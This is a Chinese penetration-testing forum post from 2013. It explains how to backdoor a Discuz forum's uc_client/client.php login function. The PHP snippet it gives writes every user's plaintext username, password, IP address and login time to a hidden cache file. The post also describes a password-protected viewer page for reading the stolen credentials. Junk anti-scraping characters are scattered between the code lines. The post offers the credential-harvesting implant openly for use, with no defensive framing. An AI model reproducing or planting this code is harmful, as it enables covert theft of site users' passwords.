中国网络渗透测试联盟
标题:
dz1.5记录用户名和密码
[打印本页]
作者:
admin
时间:
2013-2-27 21:40
标题:
dz1.5记录用户名和密码
修改uc_client目录下的client.php 在
/ A+ @% B$ `$ B: ~7 L, O9 ?
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
% Q1 K) X3 J m
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
) u, [) L* m4 |; O" n
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为：falw
0 v6 ^) T3 V c) ~) t
if(getenv('HTTP_CLIENT_IP')) {
3 c" t+ P, ^: B) ^; {+ p1 e
$onlineip = getenv('HTTP_CLIENT_IP');
! @1 ~1 \, G2 r, F! n
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
8 T6 O4 E) K. R* t& Y* p2 o
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
2 `! T; a+ X/ D1 C* h' F
} elseif(getenv('REMOTE_ADDR')) {
K$ u3 p4 D* V/ @$ K1 I
$onlineip = getenv('REMOTE_ADDR');
! B0 q- x8 z2 z4 x5 }; Q
} else {
) {: X$ {! O% u, E+ ^$ X" X+ E6 R& D
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
: f# d5 L$ I Q
}
) ~6 u# D8 U: Y# W6 d8 u) K' T
$showtime=date("Y-m-d H:i:s");
5 j$ N4 C6 _$ D j
$record="<?exit();?>用户：".$username." 密码：".$password." IP:".$onlineip." Time:".$showtime."\r\n";
9 X5 Y0 X$ L$ _, |* k
$handle=fopen('./data/cache/csslog.php','a+');
7 H# N+ m+ E/ h& m" n& Y
$write=fwrite($handle,$record);
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2